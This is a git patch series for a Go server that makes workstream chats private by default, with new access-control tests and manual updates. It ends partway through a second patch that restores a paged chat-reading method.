From 092e602adc4ed4f45865a469fbe24890119995da Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Mon, 23 Nov 2026 23:59:08 -0500 Subject: [PATCH 001/176] serve: list a chat to other people only when it is shared with them A chat is private by default (the policy's default for the kind, and what backfill registered), but GET /v1/workstreams/{id}/chats listed every other person's chat title, owner, state and last activity to anyone who could see the workstream (v2 ruling C10), whatever the chat's own visibility. Abir's call of 2026-11-24: chats are private by default, and a private chat is hidden from shared lists. The list now asks the one decider whether the viewer may view each chat, so only the owner and the people it is shared with see a private one; the operator sees nothing private; a chat with no registry row is hidden. An organization that wants the old listing sets the policy's default for chats to owner or org; it applies to chats made after the change. CONTRACT CHANGE: two tests asserted the old listing (the C10 block of TestMySpaceChatsRunOnTheServerAndStayPrivate and TestContractI9SharedWorkstreamChatListKeepsOnlyMetadata); they now assert that the chat is hidden until shared, then listed with metadata only. The new TestContractA* tests are derived from the lane's validation contract. Co-Authored-By: Claude Opus 5.5 --- docs/design/app-v3/PROTOCOL.md | 11 +- internal/factory/api/myspace.go | 13 +- .../factory/serve/access_move_chat_test.go | 8 + internal/factory/serve/chats.go | 54 ++++- internal/factory/serve/chats_private_test.go | 206 ++++++++++++++++++ internal/factory/serve/myspace_test.go | 12 +- internal/factory/store/grants.go | 25 +++ internal/manual/chat/my-space.md | 2 +- internal/manual/chat/organization-sharing.md | 6 + .../manual/chat/workstream-chats-and-tools.md | 4 +- 10 files changed, 321 insertions(+), 20 deletions(-) create mode 100644 internal/factory/serve/chats_private_test.go diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 1da345b57a..ef41f72e67 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1101,9 +1101,14 @@ names a space's things. `factory.org_myspace_limit_set {limit_usd}` `PUT removes a person, their space goes to the heir as one private workstream named "'s space". `factory.org_workstream_chats {id}` `GET .../chats` lists the caller's own chats in a workstream (`{chats: [{id, title, state, created_at, -updated_at}]}`, newest first) and, metadata only, everyone else's there (v2 ruling C10: -`others: [{id, workstream, title, owner, owner_name?, state, last_activity}]`, newest -activity first; never a line of what is said; always empty in a space). `id` is the +updated_at}]}`, newest first) and, metadata only, the chats of others that the +caller may view (`others: [{id, workstream, title, owner, owner_name?, state, +last_activity}]`, newest activity first; never a line of what is said; always empty +in a space). A chat is private by default (the policy's default for chats), and a +private chat is listed only to its owner and to the people it is shared with, so +`others` is empty until someone shares a chat with the caller; v2 ruling C10 once +listed every chat of a shared workstream here whatever its own privacy, and no longer +does. The list is decided by the same decider as `factory.org_grants`. `id` is the `chat_id` on the tasks and files that chat made. `factory.org_workstream_chat_new {id, title?}` `POST .../chats` (`edit`) makes one (`ch_` and 26 letters or digits; an empty title is the first message's first line). `factory.org_workstream_agent`, `_send` and `_stop` take diff --git a/internal/factory/api/myspace.go b/internal/factory/api/myspace.go index 77b94d0b96..a0a8e925e4 100644 --- a/internal/factory/api/myspace.go +++ b/internal/factory/api/myspace.go @@ -58,7 +58,8 @@ const MySpaceLimitMostUSD = 10000.0 // AgentChat is one of a person's own chats with a workstream's agent on the // server, beside the one Afi conversation every workstream has. What is said // in it is private to the person, like Afi's conversation: nobody else reads -// it. In a shared workstream, others see only its OtherChat row. +// it. In a shared workstream, others see its OtherChat row only when the chat +// is shared with them or the organization's policy makes new chats visible. type AgentChat struct { ID string `json:"id"` Title string `json:"title"` @@ -76,13 +77,15 @@ type AgentChat struct { // chats there, newest change first. type AgentChatList struct { Chats []AgentChat `json:"chats"` - // Others are everyone else's chats in this workstream, metadata only - // (v2 ruling C10). Always empty in a space. + // Others are the chats of other people in this workstream that the + // caller may see, metadata only. A chat is private to its owner and the + // people it is shared with unless the organization's policy says new chats + // start otherwise, so a private chat is not here. Always empty in a space. Others []OtherChat `json:"others"` } -// OtherChat is another person's chat as the workstream sees it (v2 ruling -// C10: "Lena's chat: Onboarding emails · Working"). It carries its title, its +// OtherChat is another person's chat as someone it is shared with sees it +// ("Lena's chat: Onboarding emails · Working"). It carries its title, its // owner, its state and its last activity, and never a line of what is said. // ID matches the chat_id on the tasks and files it made, so a row can open // them. diff --git a/internal/factory/serve/access_move_chat_test.go b/internal/factory/serve/access_move_chat_test.go index a936a1c92f..736cc6b930 100644 --- a/internal/factory/serve/access_move_chat_test.go +++ b/internal/factory/serve/access_move_chat_test.go @@ -337,6 +337,9 @@ func TestContractI8CollisionRollbackStaleDoorAndRestart(t *testing.T) { } } +// I9, as changed by org-follow A9 (Abir 2026-11-24): a chat moved into a shared +// workstream keeps its privacy, so the workstream's people are not told of it +// until it is shared; once shared they see its metadata only. func TestContractI9SharedWorkstreamChatListKeepsOnlyMetadata(t *testing.T) { o := newWSOrg(t) from := contractSpace(t, o, "santosh") @@ -347,6 +350,11 @@ func TestContractI9SharedWorkstreamChatListKeepsOnlyMetadata(t *testing.T) { var rows api.AgentChatList door := "/v1/workstreams/" + to o.do(t, "abir", "GET", door+"/chats", -1, nil, http.StatusOK, &rows) + if len(rows.Others) != 0 { + t.Fatalf("a moved private chat is listed: %+v", rows) + } + o.do(t, "santosh", "POST", "/v1/resources/chat/"+chat.ID+"/grants", -1, personGrant("abir", "view"), 201, nil) + o.do(t, "abir", "GET", door+"/chats", -1, nil, http.StatusOK, &rows) if len(rows.Others) != 1 || rows.Others[0].ID != chat.ID || rows.Others[0].Title != chat.Title || rows.Others[0].Owner != "santosh" || rows.Others[0].State == "" || rows.Others[0].LastActivity == "" { t.Fatalf("shared metadata: %+v", rows) diff --git a/internal/factory/serve/chats.go b/internal/factory/serve/chats.go index 2df258fbe0..948ff00407 100644 --- a/internal/factory/serve/chats.go +++ b/internal/factory/serve/chats.go @@ -31,7 +31,8 @@ import ( // - WHAT IS SAID IS PRIVATE TO ITS PERSON. Nobody else reads it or hears its // events; what the agent puts in files and pages is the workstream's. In // a shared workstream the chat's title, owner, state and last activity -// are the workstream's to see (v2 ruling C10); in a space, nothing is. +// are seen only by its owner and those it is shared with (the chat is +// private unless the policy says otherwise); in a space, nobody else's. // - IT RUNS HERE, never on a laptop, whatever the operator chose for Afi's // pane, so closing the laptop mid-answer loses nothing. // - IT SPENDS THE ORGANIZATION'S KEY, posted to the workstream under its @@ -217,23 +218,37 @@ func (h *Handler) myChats(ws, person string) []api.AgentChat { } // listAgentChats is GET /v1/workstreams/{id}/chats: the caller's own chats, -// and everyone else's as metadata only. +// and the chats of others that the caller is allowed to see, as metadata only. func (h *Handler) listAgentChats(w http.ResponseWriter, r *http.Request) { - ws, _, ok := h.findWorkstream(w, r) + ws, v, ok := h.findWorkstream(w, r) if !ok { return } me := h.orgActor(r) - h.write(w, http.StatusOK, api.AgentChatList{Chats: h.myChats(ws.ID, me), Others: h.othersChats(ws, me)}) + h.write(w, http.StatusOK, api.AgentChatList{Chats: h.myChats(ws.ID, me), Others: h.othersChats(ws, me, v)}) } -// othersChats are the chats in ws of everyone but me, newest activity first: -// title, owner, state and last activity only. A space's are nobody else's. -func (h *Handler) othersChats(ws factory.OrgWorkstream, me string) []api.OtherChat { +// othersChats are the chats in ws of everyone but me that v may see, newest +// activity first: title, owner, state and last activity only. A space's are +// nobody else's. +// +// A CHAT IS LISTED TO SOMEONE ELSE ONLY IF THE ONE DECIDER SAYS THEY MAY VIEW +// IT. Chats are private by default (the policy's default for the kind), and a +// private chat is its owner's and its grantees' alone, so its title, owner, +// state and last activity are hidden from the workstream's people and from the +// operator, because a title alone can say what the work is. A chat with no +// registry row is unknown, and unknown is hidden. An organization that wants +// every member to see each other's chat titles sets the policy's default for +// chats to owner or org; that applies to chats made after it. +func (h *Handler) othersChats(ws factory.OrgWorkstream, me string, v Viewer) []api.OtherChat { out := []api.OtherChat{} if ws.Space { return out } + visible := h.chatsMaySee(ws, v) + if len(visible) == 0 { + return out + } people, err := os.ReadDir(filepath.Join(h.config.Store.Root(), agentDirName, ws.ID, "people")) if err != nil { return out @@ -244,6 +259,9 @@ func (h *Handler) othersChats(ws factory.OrgWorkstream, me string) []api.OtherCh continue } for _, c := range h.myChats(ws.ID, p.Name()) { + if !visible[c.ID] { + continue + } out = append(out, api.OtherChat{ID: c.ID, Workstream: ws.ID, Title: c.Title, Owner: p.Name(), OwnerName: nameOf(p.Name()), State: c.State, LastActivity: c.UpdatedAt}) } } @@ -256,6 +274,28 @@ func (h *Handler) othersChats(ws factory.OrgWorkstream, me string) []api.OtherCh return out } +// chatsMaySee is the ids of the chats registered under ws that v may view, +// asked of the one decider in a few queries rather than one per chat. +func (h *Handler) chatsMaySee(ws factory.OrgWorkstream, v Viewer) map[string]bool { + seen := map[string]bool{} + rows, err := h.config.Store.ResourcesIn("chat", workstreamResource(ws).ref) + if err != nil { + slog.Error("could not read the workstream's chats", "error", err) + return seen + } + resources := make([]accessResource, 0, len(rows)) + for _, row := range rows { + resources = append(resources, h.registeredResource(row, ws)) + } + v.acc.prefetchResources(resources) + for _, res := range resources { + if can(v, res.item, acl.VerbView) { + seen[res.ref.ID] = true + } + } + return seen +} + // createAgentChat is POST /v1/workstreams/{id}/chats: a new chat of the // caller's own, empty until its first message. Whoever can talk to the // workstream's agent may keep chats with it. diff --git a/internal/factory/serve/chats_private_test.go b/internal/factory/serve/chats_private_test.go new file mode 100644 index 0000000000..6f3b49eea1 --- /dev/null +++ b/internal/factory/serve/chats_private_test.go @@ -0,0 +1,206 @@ +package serve + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/api" +) + +// The contract for this file is NOTES.md section 1, item A of the org-follow +// lane: chats are private by default, and a private chat is hidden from every +// shared list. Each test names the contract item it comes from. + +// chatsSharedWorkstream makes a workstream santosh owns, shared for edit with +// abir and for view with mia, and returns its id and the path of its chat list. +func chatsSharedWorkstream(t *testing.T, o *wsOrg) (id, list string) { + t.Helper() + ws := o.create(t, "santosh", api.WorkstreamNew{Name: "Pantry"}) + shares := []factory.Share{{Kind: "person", ID: "abir", Role: "edit"}, {Kind: "person", ID: "mia", Role: "view"}} + o.do(t, "santosh", "PUT", "/v1/workstreams/"+ws.ID+"/shares", -1, api.WorkstreamSharesPut{Shares: &shares}, 200, nil) + return ws.ID, "/v1/workstreams/" + ws.ID + "/chats" +} + +func othersOf(t *testing.T, o *wsOrg, who, list string) []api.OtherChat { + t.Helper() + var rows api.AgentChatList + o.do(t, who, "GET", list, -1, nil, 200, &rows) + return rows.Others +} + +// A1. The policy says chats start private, with no stored policy and with a +// stored one that never named chats. +func TestContractA1ThePolicyDefaultForChatsIsPrivate(t *testing.T) { + o := newWSOrg(t) + var p acl.Policy + o.do(t, "mia", "GET", policyPath, -1, nil, 200, &p) + if got := p.Visibility("chat"); got != acl.Private || p.Defaults["chat"].Visibility != acl.Private { + t.Fatalf("the default policy starts chats %q (%+v)", got, p.Defaults["chat"]) + } + if got := (acl.Policy{Defaults: map[string]acl.KindDefault{}}).Visibility("chat"); got != acl.Private { + t.Fatalf("a policy that never named chats starts them %q", got) + } + if got := (acl.Policy{}).Visibility("chat"); got != acl.Private { + t.Fatalf("an empty policy starts chats %q", got) + } +} + +// A2, A3. Another member and the operator are not told a private chat exists: +// no title, owner, state or time. Its owner still lists it. +func TestContractA2APrivateChatIsHiddenFromTheWorkstreamAndTheOperator(t *testing.T) { + o := newWSOrg(t) + ws, list := chatsSharedWorkstream(t, o) + chat := contractChat(t, o, ws, "") + for _, who := range []string{"abir", "mia", "owner"} { + if rows := othersOf(t, o, who, list); len(rows) != 0 { + t.Fatalf("%s is shown a private chat: %+v", who, rows) + } + } + var mine api.AgentChatList + o.do(t, "santosh", "GET", list, -1, nil, 200, &mine) + if len(mine.Chats) != 1 || mine.Chats[0].ID != chat.ID || mine.Chats[0].Title != chat.Title || len(mine.Others) != 0 { + t.Fatalf("the owner's own list = %+v", mine) + } + // The id is no way in either (unchanged). + o.do(t, "abir", "GET", "/v1/workstreams/"+ws+"/agent?chat="+chat.ID, -1, nil, 404, nil) +} + +// A4. A grant on the chat lists it to that person alone, with its metadata and +// never its lines; removing the grant, or its lapse, takes it away again. +func TestContractA4SharingAChatListsItToThatPersonAlone(t *testing.T) { + o := newWSOrg(t) + ws, list := chatsSharedWorkstream(t, o) + chat := contractChat(t, o, ws, "") + path := "/v1/resources/chat/" + chat.ID + var grant acl.Grant + o.do(t, "santosh", "POST", path+"/grants", -1, personGrant("abir", "view"), 201, &grant) + rows := othersOf(t, o, "abir", list) + if len(rows) != 1 || rows[0].ID != chat.ID || rows[0].Title != chat.Title || rows[0].Owner != "santosh" || + rows[0].Workstream != ws || rows[0].State == "" || rows[0].LastActivity == "" { + t.Fatalf("the grantee's list = %+v", rows) + } + for _, who := range []string{"mia", "owner"} { + if rows := othersOf(t, o, who, list); len(rows) != 0 { + t.Fatalf("%s holds no grant and is shown %+v", who, rows) + } + } + o.do(t, "abir", "GET", "/v1/workstreams/"+ws+"/agent?chat="+chat.ID, -1, nil, 404, nil) + o.do(t, "santosh", "DELETE", path+"/grants/"+grant.ID, -1, nil, 200, nil) + if rows := othersOf(t, o, "abir", list); len(rows) != 0 { + t.Fatalf("a removed grant still lists the chat: %+v", rows) + } + contractGrantExpiry(t, o, path, "abir", o.now.Add(time.Minute)) + if rows := othersOf(t, o, "abir", list); len(rows) != 1 { + t.Fatalf("a live grant does not list the chat: %+v", rows) + } + o.now = o.now.Add(2 * time.Minute) + if rows := othersOf(t, o, "abir", list); len(rows) != 0 { + t.Fatalf("a lapsed grant still lists the chat: %+v", rows) + } +} + +// A5. A chat in My space is nobody else's, however it is asked. +func TestContractA5AChatInMySpaceIsListedToNobodyElse(t *testing.T) { + o := newWSOrg(t) + space := contractSpace(t, o, "santosh") + contractChat(t, o, space, "") + for _, who := range []string{"abir", "owner"} { + o.do(t, who, "GET", "/v1/workstreams/"+space+"/chats", -1, nil, 404, nil) + } + if rows := othersOf(t, o, "santosh", "/v1/workstreams/"+space+"/chats"); len(rows) != 0 { + t.Fatalf("a space lists others' chats: %+v", rows) + } +} + +// A6. The operator can make new chats visible to the workstream through the +// policy; chats made before keep what they were registered as. +func TestContractA6ThePolicyDefaultAppliesToNewChatsOnly(t *testing.T) { + for _, visibility := range []string{acl.Owner, acl.Org} { + t.Run(visibility, func(t *testing.T) { + o := newWSOrg(t) + ws, list := chatsSharedWorkstream(t, o) + before := contractChat(t, o, ws, "") + var p acl.Policy + o.do(t, "owner", "GET", policyPath, -1, nil, 200, &p) + p.Defaults["chat"] = acl.KindDefault{Visibility: visibility} + o.do(t, "owner", "PUT", policyPath, -1, p, 200, &p) + after := contractChat(t, o, ws, "") + for _, who := range []string{"abir", "mia"} { + rows := othersOf(t, o, who, list) + if len(rows) != 1 || rows[0].ID != after.ID || rows[0].Title != after.Title { + t.Fatalf("%s with the %s default is shown %+v, want only the chat made after it (%s, not %s)", who, visibility, rows, after.ID, before.ID) + } + } + // A chat made before the change stays private for the people it was + // private from, and a policy that goes back to private hides the new + // one again. + p.Defaults["chat"] = acl.KindDefault{Visibility: acl.Private} + o.do(t, "owner", "PUT", policyPath, -1, p, 200, &p) + if rows := othersOf(t, o, "abir", list); len(rows) != 1 || rows[0].ID != after.ID { + t.Fatalf("changing the default back rewrote a chat that already exists: %+v", rows) + } + }) + } +} + +// A7. Creating a private chat tells nobody; sharing it tells the people it +// reaches (unchanged). A chat's agent events reach its owner alone. +func TestContractA7ACreatedPrivateChatEmitsNoResourceEvent(t *testing.T) { + o := newWSOrg(t) + ws, _ := chatsSharedWorkstream(t, o) + chat := contractChat(t, o, ws, "") + if events := contractResourceEvents(t, o, chat.ID); len(events) != 0 { + t.Fatalf("a private chat announced itself: %+v", events) + } + o.do(t, "santosh", "POST", "/v1/resources/chat/"+chat.ID+"/grants", -1, personGrant("abir", "view"), 201, nil) + if events := contractResourceEvents(t, o, chat.ID); len(events) != 1 { + t.Fatalf("sharing announced %d events, want one: %+v", len(events), events) + } +} + +// A8. A chat folder that has no registry row is unknown, and unknown is hidden. +func TestContractA8AChatWithNoRegistryRowIsNeverListed(t *testing.T) { + o := newWSOrg(t) + ws, list := chatsSharedWorkstream(t, o) + stray := "ch_" + "0123456789abcdefghijklmnop" + dir := o.h.chatDir(ws, "santosh", stray) + if err := writeChatMeta(dir, chatMeta{Title: "Strays", CreatedAt: "2026-11-24T10:00:00Z", UpdatedAt: "2026-11-24T10:00:00Z"}); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(dir, "meta.json")); err != nil { + t.Fatal(err) + } + if _, ok, _ := o.st.Resource("chat", stray); ok { + t.Fatal("the fixture has a registry row") + } + for _, who := range []string{"abir", "mia", "owner"} { + if rows := othersOf(t, o, who, list); len(rows) != 0 { + t.Fatalf("%s is shown a chat nobody registered: %+v", who, rows) + } + } +} + +// A9. A private chat that moves from My space into a workstream stays private: +// the workstream's people do not see it until it is shared. +func TestContractA9AMovedPrivateChatStaysPrivateInTheWorkstream(t *testing.T) { + o := newWSOrg(t) + space := contractSpace(t, o, "santosh") + ws, list := chatsSharedWorkstream(t, o) + chat := contractChat(t, o, space, "") + contractMove(t, o, "santosh", chat.ID, ws, 200, nil) + if rows := othersOf(t, o, "abir", list); len(rows) != 0 { + t.Fatalf("a moved private chat is listed: %+v", rows) + } + o.do(t, "santosh", "POST", "/v1/resources/chat/"+chat.ID+"/grants", -1, personGrant("abir", "view"), 201, nil) + if rows := othersOf(t, o, "abir", list); len(rows) != 1 || rows[0].ID != chat.ID { + t.Fatalf("a shared chat is not listed: %+v", rows) + } + contractMove(t, o, "santosh", chat.ID, space, 200, nil) + if rows := othersOf(t, o, "abir", list); len(rows) != 0 { + t.Fatalf("a chat moved back to My space is still listed: %+v", rows) + } +} diff --git a/internal/factory/serve/myspace_test.go b/internal/factory/serve/myspace_test.go index 7bcc7181bb..91686f478c 100644 --- a/internal/factory/serve/myspace_test.go +++ b/internal/factory/serve/myspace_test.go @@ -147,8 +147,16 @@ func TestMySpaceChatsRunOnTheServerAndStayPrivate(t *testing.T) { if len(abirs.Chats) != 0 { t.Fatalf("abir lists santosh's chat: %+v", abirs.Chats) } - // v2 ruling C10: abir sees that santosh has a chat called Side, its state - // and when it last moved, and nothing that was said in it. + // CONTRACT CHANGE (org-follow A2, A4, Abir 2026-11-24): a chat is private by + // default, so abir is told nothing of santosh's chat called Side (v2 ruling C10 + // once listed its title, state and last activity to the whole workstream) until + // santosh shares it. Shared, abir sees that it exists, its state and when it + // last moved, and nothing that was said in it. + if len(abirs.Others) != 0 { + t.Fatalf("abir is shown santosh's private chat: %+v", abirs.Others) + } + o.do(t, "santosh", "POST", "/v1/resources/chat/"+side.ID+"/grants", -1, personGrant("abir", "view"), 201, nil) + o.do(t, "abir", "GET", "/v1/workstreams/"+ws.ID+"/chats", -1, nil, 200, &abirs) if len(abirs.Others) != 1 || abirs.Others[0].ID != side.ID || abirs.Others[0].Title != "Side" || abirs.Others[0].Owner != "santosh" || abirs.Others[0].Workstream != ws.ID || abirs.Others[0].LastActivity == "" || abirs.Others[0].State == "" { t.Fatalf("abir's view of others' chats = %+v", abirs.Others) diff --git a/internal/factory/store/grants.go b/internal/factory/store/grants.go index e48fa05c85..b8dc2d3df4 100644 --- a/internal/factory/store/grants.go +++ b/internal/factory/store/grants.go @@ -57,6 +57,7 @@ CREATE TABLE IF NOT EXISTS resources ( created_at TEXT NOT NULL, PRIMARY KEY (kind, id) ); +CREATE INDEX IF NOT EXISTS resources_parent ON resources (kind, parent_kind, parent_id); CREATE TABLE IF NOT EXISTS resource_move_cleanup ( kind TEXT NOT NULL, id TEXT NOT NULL, @@ -459,6 +460,30 @@ func (st *Store) Resources(kind string) ([]Resource, error) { return out, rows.Err() } +// ResourcesIn lists the registrations of one kind that sit directly under +// parent, so a list of one workstream's chats reads only that workstream's rows. +func (st *Store) ResourcesIn(kind string, parent acl.Resource) ([]Resource, error) { + db, err := st.wsDB(false) + if err != nil || db == nil { + return nil, err + } + rows, err := db.Query(`SELECT `+resourceColumns+` FROM resources WHERE kind = ? AND parent_kind = ? AND parent_id = ? ORDER BY id`, + kind, parent.Kind, parent.ID) + if err != nil { + return nil, err + } + defer rows.Close() + out := []Resource{} + for rows.Next() { + r, err := scanResource(rows) + if err != nil { + return nil, err + } + out = append(out, r) + } + return out, rows.Err() +} + // DropGrantsOn deletes every stored grant on one resource and returns the rows // it deleted. A move into a private space uses it, because a private item's // grants grant nothing and must not be left to reappear if it is shared again. diff --git a/internal/manual/chat/my-space.md b/internal/manual/chat/my-space.md index db85917337..ae4337d074 100644 --- a/internal/manual/chat/my-space.md +++ b/internal/manual/chat/my-space.md @@ -16,7 +16,7 @@ My space cannot be shared, handed to someone else, renamed, archived or deleted, In an organization window, New chat starts a chat in My space. It runs on the organization's server, never on this computer: close the laptop mid-answer and the chat finishes anyway, with what it made waiting in My space when you come back. It uses the organization's model key and the model the organization chose. -A chat in My space is private to you, like Afi's pane: nobody else lists or reads it, its name included. (A chat started inside a workstream is different: its name and state are seen there, never what is said.) Its title is its first message's first line. What the agent writes into documents and canvases lands in My space. +A chat in My space is private to you, like Afi's pane: nobody else lists or reads it, its name included. (A chat started inside a workstream is private the same way: its name, its owner and its state are listed to other people only after you share it, and never what is said.) Its title is its first message's first line. What the agent writes into documents and canvases lands in My space. ## Who pays for My space — the organization, under your name, up to a monthly limit diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index 0e0c94587c..7f148a5da0 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -21,6 +21,12 @@ A role is a named bundle of **verbs**. The verbs are fixed: view, comment, edit, The owner of a thing holds full on it. A person who reaches a thing in two ways (a share and a team grant, say) holds the verbs of both. A thing marked private is its owner's alone: shares and grants on it give nothing. Nobody holds "admin" on a thing; admin is the operator's word for the app, not a verb. +## Are chats private by default — can other people in a workstream see my chat's name, owner or state + +Yes, private by default. A chat you start, in a workstream or in My space, is registered as private unless the organization's policy says new chats start otherwise. A private chat is hidden from every shared list: the workstream's people and the operator are told nothing of it, not its name, its owner, its state or when it last moved, and the server does not announce it to them when it is made. Only you and the people you have shared it with see it. Sharing it (a grant of view or more on that chat) adds it to that person's list of other people's chats in the workstream, with its name, owner, state and last activity, and never what was said; removing the grant, or its end date passing, takes it off their list again. Moving a private chat from My space into a workstream keeps it private. + +This changed on 2026-11-24. Before it, every chat in a shared workstream was listed to the workstream's people by name, owner and state whatever its own privacy. An organization that wants that back sets the policy's default for chats to `owner` (the workstream's people) or `org` (every member); it applies to chats made after the change, and a chat that already exists keeps what it was made as. + ## Who sets the sharing rules — the operator's organization policy The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. diff --git a/internal/manual/chat/workstream-chats-and-tools.md b/internal/manual/chat/workstream-chats-and-tools.md index 163a451ee9..6695093921 100644 --- a/internal/manual/chat/workstream-chats-and-tools.md +++ b/internal/manual/chat/workstream-chats-and-tools.md @@ -2,12 +2,12 @@ ## a chat inside a workstream is private — what is private and what is shared, can others see my chat's name -Use **New chat** in the Chats header to open a private conversation. What you and the chat say stays private to you. Its tasks and files are shared in the workstream. The Chats tab lists only your own chats; it does not show other people's chats. +Use **New chat** in the Chats header to open a private conversation. What you and the chat say stays private to you. Its tasks and files are shared in the workstream. The Chats tab lists only your own chats; it does not show other people's chats. The organization's server lists a chat to anyone else only after it is shared with them (see "Are chats private by default" in the organization sharing page); until then not even its name leaves you, and the operator does not see it either. | What | Who sees it | | --- | --- | | What you and a chat say to each other, and its Asks | you only | -| A chat's name and state in Chats | you only | +| A chat's name, owner and state in Chats | you, and the people you share the chat with | | The tasks and files a chat makes | everyone in the workstream | | One line on a task when your private request changed it | everyone in the workstream | | Your chats in My space, their names included | you only | From efb8a715ae7bcde91e73596f112505241400e62f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Mon, 23 Nov 2026 23:59:14 -0500 Subject: [PATCH 002/176] engine: bring back the chunk-paged chats.read, under its own hello word #2890 dropped santosh/work's chats.read method (#2650) because dev's agents.entries already follows a saved remote head under the chats.read hello word. Abir's call of 2026-11-24: nothing Santosh added is dropped. The two are different abilities: dev's reader fetches the whole saved transcript, this one fetches only the transcript's own objects and the chunks under one page, into the store a later agents.take uses. Restored from the parent of cc9ca26995 (the chunk-paged reader in cellsync and cellstore, the furrow path verbs, syncsetup.ReadChatPage, the engine method and its tests), additively: the method is advertised under a NEW hello word, chats.read.paged, and the chats.read word keeps exactly the meaning it has on dev, so a client can tell which ability an engine has. agents.entries and its tests are untouched. The embedded furrow is v0.3.7 again (it adds the path verbs; its checksums match the release's SHA256SUMS); without them the word is absent from hello, not present and failing. Co-Authored-By: Claude Opus 5.5 --- cmd/codeaf/app_chatread.go | 124 ++++++++ cmd/codeaf/app_chatread_test.go | 104 +++++++ docs/design/app-v3/PROTOCOL.md | 26 ++ docs/design/remote-read/DESIGN.md | 27 +- internal/appwire/chats.go | 72 ++++- internal/appwire/chats_read_test.go | 92 ++++++ internal/cellstore/pathread.go | 277 +++++++++++++++++ internal/cellsync/fake.go | 94 +++++- internal/cellsync/fake_read.go | 155 ++++++++++ internal/cellsync/read.go | 448 ++++++++++++++++++++++++++++ internal/cellsync/read_real_test.go | 195 ++++++++++++ internal/cellsync/read_test.go | 352 ++++++++++++++++++++++ internal/furrowbin/pin.json | 16 +- internal/syncsetup/read.go | 80 +++++ 14 files changed, 2034 insertions(+), 28 deletions(-) create mode 100644 cmd/codeaf/app_chatread.go create mode 100644 cmd/codeaf/app_chatread_test.go create mode 100644 internal/appwire/chats_read_test.go create mode 100644 internal/cellstore/pathread.go create mode 100644 internal/cellsync/fake_read.go create mode 100644 internal/cellsync/read.go create mode 100644 internal/cellsync/read_real_test.go create mode 100644 internal/cellsync/read_test.go create mode 100644 internal/syncsetup/read.go diff --git a/cmd/codeaf/app_chatread.go b/cmd/codeaf/app_chatread.go new file mode 100644 index 0000000000..04a2597dc1 --- /dev/null +++ b/cmd/codeaf/app_chatread.go @@ -0,0 +1,124 @@ +package main + +import ( + "context" + "errors" + "strconv" + "time" + + "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// ── chats.read: A CHAT ON ANOTHER COMPUTER, OPENED AS A READ-ONLY CHAT ────── +// +// The desktop opens a chat another paired computer holds and shows what was +// said in it, newest first, older pages as the person scrolls — WITHOUT taking +// the chat over and WITHOUT downloading its project folder. A take was the only +// way to see inside such a chat, and a take copies the whole folder (gigabytes, +// for a real project) before it shows a line; most people only wanted to see +// where the conversation had got to. +// +// So this door asks syncsetup.ReadChatPage for a page — the transcript's own objects +// and the few content-defined chunks under that page, fetched into the store a +// later take of the chat uses, so "Continue here" after reading pays only for +// the rest — and shapes it with the very code agents.entries uses for a chat on +// this computer, so the page looks like the chat it is. +// +// It never leases, materializes, registers an agent or touches a workspace +// folder. docs/design/remote-read/DESIGN.md has the design and its numbers. + +// appReadsPaths is whether the engine can read one path of a snapshot; a test +// swaps it, because the real answer depends on the furrow build in use. +var appReadsPaths = cellstore.ReadsPaths + +// appReadWithin bounds one page. A page is a few chunks, but a first open on a +// slow link also brings the transcript's first chunk, and a hosted relay asks +// for at most a handful of objects per request. +const appReadWithin = 2 * time.Minute + +// CanReadChats implements appwire.ChatsReader: a relay is configured and the +// engine can read a path. Asked, not tried — a capability that cannot work is +// absent from hello rather than present and refusing every call. +func (b *appBackend) CanReadChats() bool { + r := syncsetup.Resolve(b.relayHome()) + return r.URL != "" && !r.Off && appReadsPaths() +} + +// ReadChat implements appwire.ChatsReader. +func (b *appBackend) ReadChat(p appwire.ChatReadParams) (appwire.ChatReadResult, error) { + if !cell.ValidID(p.Cell) { + return appwire.ChatReadResult{}, appwire.Errorf(appwire.CodeNotFound, "that chat is not available") + } + s, ok, err := syncsetup.Open(b.relayHome()) + if err != nil { + return appwire.ChatReadResult{}, appEngineError(err) + } + if !ok { + return appwire.ChatReadResult{}, appwire.Errorf(appwire.CodeEngine, appSyncOff) + } + ctx, cancel := context.WithTimeout(context.Background(), appReadWithin) + defer cancel() + // The cell is named exactly as a take names it, so the engine resolves the + // same store and timeline; its folder is never created by a read. + c := cell.Cell{ID: p.Cell, Root: takeRootForAt(s.Home, p.Cell)} + count := func(segment []byte) int { + entries, _ := appRemoteEntries(p.Cell, segment, time.Time{}) + return len(entries) + } + page, err := s.ReadChatPage(ctx, cellstore.EngineFor(""), c, p.Before, p.Limit, count) + switch { + case errors.Is(err, syncsetup.ErrNoChat): + return appwire.ChatReadResult{}, appwire.Errorf(appwire.CodeNotFound, "that chat is not available") + case errors.Is(err, cellsync.ErrBadCursor): + return appwire.ChatReadResult{}, appwire.Errorf(appwire.CodeBadParams, "before is not a cursor this engine wrote") + case errors.Is(err, directory.ErrUnreachable) || errors.Is(err, wireauth.ErrUnavailable) || errors.Is(err, context.DeadlineExceeded): + return appwire.ChatReadResult{}, appwire.Errorf(appwire.CodeUnreachable, "The sync service can't be reached, so this chat can't be read right now.") + case err != nil: + return appwire.ChatReadResult{}, appEngineError(err) + } + var at time.Time + if page.SealedAtMs > 0 { + at = 